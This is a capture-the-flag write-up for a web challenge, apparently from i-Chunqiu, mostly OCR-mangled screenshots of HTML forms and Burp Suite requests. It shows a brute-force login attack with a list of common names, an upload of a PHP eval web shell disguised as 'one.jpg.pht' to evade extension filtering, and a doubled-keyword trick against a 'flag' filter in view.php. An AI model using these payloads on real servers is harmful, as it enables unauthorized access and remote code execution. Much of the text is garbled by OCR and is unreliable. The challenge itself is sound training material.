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<IDOCTYPE htm/>
<html>
<head>
<meta charset="utf-8" />
<title>=R2&F < ftitle>
</head>
<body>
<center>
<h4>BRAIKSZEEHITER </hd>
<form action="" method="POST">
<input type="text" name="username" placeholder="FHF%" />
<br /><br />
<input type="password" name="password" placeholder="%%5" />
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<pr/> <pr/>
<input type="submit” name="submit" value="&=%" />

<I-- B EEbtEuser phpE -->
<I-- BFECAZCA BB + HEFR #ltlzhangwei1999 -->
</form>
</center>
</body>
</html>

<br /> <br /> <center>
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1ETT#TFF user.php.bak %
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37428 bak File (3.1 KB)
HiE:  ...47c490e0341fed7931ba84dd4709.game.ichungiu.com

{82 Firefox t0{RMh B3 T44?
O #1737, B(Q) | HES(B)...

W =A| HES...
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Attack type: l Battering ram

POST /login.php HITP/1.1

Host: 3af989213bbc546458bT7304681f847f13c2bef4e71902419¢, gane. ichungiu. com

User—Agent: Mozilla/5.0 (Windows NT 10.0; WOWG4:; rv:52.0) Geclko/20100101 Firefox/52.0
Accept: text/html, application/zhtml+znl, application/zml;g=0.9, */#;g=0.8

Accept-Language: zh—CHN, zh;q=0. 8, en-US;¢=0. 5, en;g=0. 3

Accept-Encoding: gzip, deflate

Referer: http://3a989213bhc546458hT394681f547f13c2befde71902419¢. game. ichungiu. com/login. php

Hm_lwvt_2d0601bd28deTd49818249c£35d95943=1533172598, 1533605305, 1533605440, 1534515598,
browse=CF1laT=UYUOEaW1haVO] TRFELISkdedQFFYWVRFR1=RFORTVI1FPWEEL TgBIXUNaRFEOG1 1 ZTFRTWOVYWOVE V1= ZTUL TUUS AQVIGXOF TCA ;
ci_session=a5995calf4aadf1ae515802993a24d32e4cf24ef; Hun_lvt_9104989ce242a8e0304%9eacecad50328=1534515617;
Hm_1vt_1a32f7c660491887db0960e9c314b022=1534515617; PHPSESSID=f56rulvi3dtld4lumdjioligr2

Comnection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/z—www—form-urlencoded

Content-Length: 52

username= § 555 § &password= § 5555 § 1990&submit=%E T%99%BE%ES%ED% 95

Coolie: chiphone=acWzlpzhQpliichhluSnEqyiQuDI00000; UM_distinctid=164bd1904bcb4e-00586c29125a358-1262604a-144000-164bd1904bedf2;

pev_pvi=1249226752;




m Payload Sets

You can define one or more payload sets. The number of payload sets dep
Various payload types are available for each payload set, and each payloa

Payload set: [‘1 |v] Payload count: 357

Payload type: | Simple list Request count: 357

m Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used a

Paste zhangwei i
| wangwei
Load .. wangfang
— 1 | liwei [ 3
MJ lina
W zhangmin
lijing i
Add Enter a new item

| Add from list ... v

BB I payload j& w77 LB T
RATE LR~ NELI1999FF 88, « « —HIRFN19904 B AFEKERE

Filter: Showing all items

Request | Payload Status | Eror | Timeout | Length v | Comment
N lixiuyun 200 ] [ 1041
0 200 Ol O 1006
1 zhangwei 200 O [] 1008
2 wangwei 200 O] [] 1006
3 wangfang 200 O [] 1008
4 liwei 200 Ol O 1006
5 lina 200 O] ] 1006
6 zhangmin 200 O] [] 1006
7 lijing 200 a (] 1006
8 wangjing 200 | ] 1006

Request | Response 1

JRawI Headers I Hex I HTML T Render }

“hody
lcenter>
<hA s iR A S S IR T B A
<form action="" method="POST":
dinput type="text” name="username”’ placeholder="H/7#" />
<hr fr<br f
<input type="password” name="password” placeholder="${4" />
<hr f» <br /@
<input type="submit” name="submit’ wvalue="3" />

Fuser. php'# —
< A P E A R 0 zhangwei1999 —
</form>
fcenter>
Shodyr

S htmly



thr fr<br fr<center> B FEREIIC/ center»<scriptrlecation. href="/" ; ¢/script>
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<!DOCTYPE html>
<html> 9
<head>»</head>»
<body>
<center>

w <form action="" method="POST" enctype="multipart/form-data">
<input name="file" type="file"»

<input name="submit" value="_LEfE" type="submit">
</forms>
<fcenter:
</body>
</html>

BATRBE T —AN X B AR A

WL AREESCH. L#

XEEE EEAN—FTEKRD <2php @eval($_POST[pass])?>, FRFERERZ|pg. png, BRECAphp.jpgii AeeE EphpFE, &
J& MU pg.pht(X LR E 3 — T phpHI 3144 : php2, php3, php4, php5, phps, pht, phtm, phtml), 348344 A B AR1T (— Ot
H) , FREH TN EphpF B —HA)1E <?=eval($_POST[ 'pass']);?> , BH bA&ERI)

X B E— T el Fbp 3O 3ef b (i thZ8 R 56 8 X AN A RER K 7))
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W) Burp Suite Professional v1.7.30 - Temporary Project - licensed to Larry_Lau - O X
Burp Intruder Repeater Window Help
[Targel I Proxy ISpider (Scanner I Intruder TRepeatel ISequencer I Decoder (Camparer I Extender I Project options I User options INerts }
1% (2 x |3 x [l .
Go Cancel < |v >|* Target: hitp://8bcf0bd96769456db0ef500eTc0%01ch1eTeaddd3174f60.game. ichungiv.com | & ?
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML T Render ]
POST / HITR/1.1 I HITP/1.1 200 OK n
Host: 8bef(hd96769456db0ef500eTc09e01chleTeaddd3174f60. gane. ichungiu. com r Server: nginx/1.10.2 B
User—Agent: Mozilla/5.0 (Windows NI 10.0: WOW64: r+v:52.0) Gecko /20100101 Date: Sat., 18 Zug 2018 05:08: 44 GNT
Firefox/52.0 Content-Type: text/htnl;charset=utf-&
Accept: text/html, application/xhtml+zml, application/xzml;g=0. 8, #/% ¢=0.8 Content-Length: 372
Accept-Language: zh-CHN, zh:g=0. 8, en-U3:g=0. 5, en:g=0. 3 Commection: close
Accept-Encoding: gzip. deflate X-Powered-By: PHP/5. 5. 8-lubuntud. 19
Referer: http //8bcfibd96769456dh0ef500eTcl8e01chleTeadd93174f60. gane. ichungiu. com/ Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cookie: chkphone=acWzlNpxzhQpDiichhlfuSnEqyiQubI00000 . Cache-Control: no-store. no-cache, must-revalidate., post—check=0, pre—check=0
UM_distinctid=164bd1904bebde—005286c29125a38-1262694a-144000-164hd1904be£2; Fragma: no—cache
pgv_pvi=1240225752 Varv: Accept-Encoding
Hm_lvt_2d0601bd28deTd48818249cf35d95943=1533172598, 1533605305, 1533605440, 1534515508
: <!DOCTYFE html>
browse=CF1aT=UVU0Baf1hATO] TRFBISkdeQFFYWVRFR1=RWORTVIFPW:BLTgBIXUNaRFEOG 11 ZTFRTWOVY <html>
WOVFV1xzITUITUTSdQVIGKOFTCA; Hm_lvt_9104989ce242a8203040eacecali0328=1534515617; <head>
Hm_lvt_1a32f7cG60491887db096029c314h022=1534515617; <meta charset="utf-3" />
PHPSESSID=cfojnavfdioldlTeqifelagoqd itler AL/ titles
Connection: close </head>
Upgrade-Insecure-Requests: 1 <hody
Content—Type: multipart/form—data: | <center>
boundary 285052900817202 < —>
Content-Length: 336 <form actiom method="POST" enctype="multipart/form-data”>
(input type="file” name="file” />
2850529000817202 <input type="submit” name="submit” value="L{" />
Content-Disposition: form—data; name="file”, filename="one. jpg.pht” </form> ——>
Content-Type: application/octet-stream <fcenter>
</body>
<7=eval (§_POST[  pass’1) ;73| <html>
285052900817202
Content-Disposition: form—data; name="submit” <a href="/view. php” >view!/a>
285052900817202-—
. -
L | L]
? < + > Type a sear 0 matches ? < 0 matches
Ready 726 bytes | 32 milhs
NN N e N NENE=] =h Y Y >
AR T7 (E A Ebp BAB B4 AR ST AR, SR)5 Moot BRI 458, 7T AU R L F 3 — IR IREHF 2 T
; B ) i
[8] 3 IERR, 3% 5 i 50 I R — AN W el (i R view
€ @ 8bcf0bd96769456db0ef500e7c09e01cb1e7eadd93174f60.game.ichungiu.com Wi ¢ QFF-<cHk:
view
G PEEE e OEtE () HasEs @ ue {F iz = s
-+ C %% HTML &
<!DOCTYPE html>
<html> €9
+ <head></head>
w <body>

<!--<form action=
<fcenter>
<a href="/view.php">view</a>
</body>

method="POST" enctype="multipart/form-data"> <input type="file" name="file" /> <input type="submit" name="submit" value="_F{&" /> </form>-->



</htmlx»

RBEEE, HIRT —/Mile? MER, XMERERINIHEET

€ | ® 8bcf0bd96769456db0ef500e7c09e01cb1e7ea4d93174f60.game.ichunqgiu.com/view.php
file?

= 1 =55
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<html> €9

<head»</head>

<body>file?</body>
</html>
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@ Load URL | http://8bcf0bd96769456db0ef500e7c09e01cb1e7eadd93174f60.game.ichungiu.com/view.php/?file=1
B split URL
b Execute
= @ [ ] Post [ ] Referrer ¥ OxHEX ™» &% o URL ™ @M BASEGS I | /nsertto|lnsert rep)
filter "flag”

Rnid g T flag, TR&EMAKNGSEE, getflag!

@ Load URL | http://8bcfObd96769456db0ef500e7c09e01cbe7eadd93174f60.game.ichungiu.com/view.php/?file=flflagag
% split URL
' Execute
= & []Post [ ] Referrer ¥ OxHEX » %™ %URL ™ &% BASE64 ¥
<?php

Insert to

Insert rep)| Replac

echo 'flag is here’;



Tlag{ys4a4eae-uu4T-40Da-avab-435e 10 1UbdCS}-;
?>
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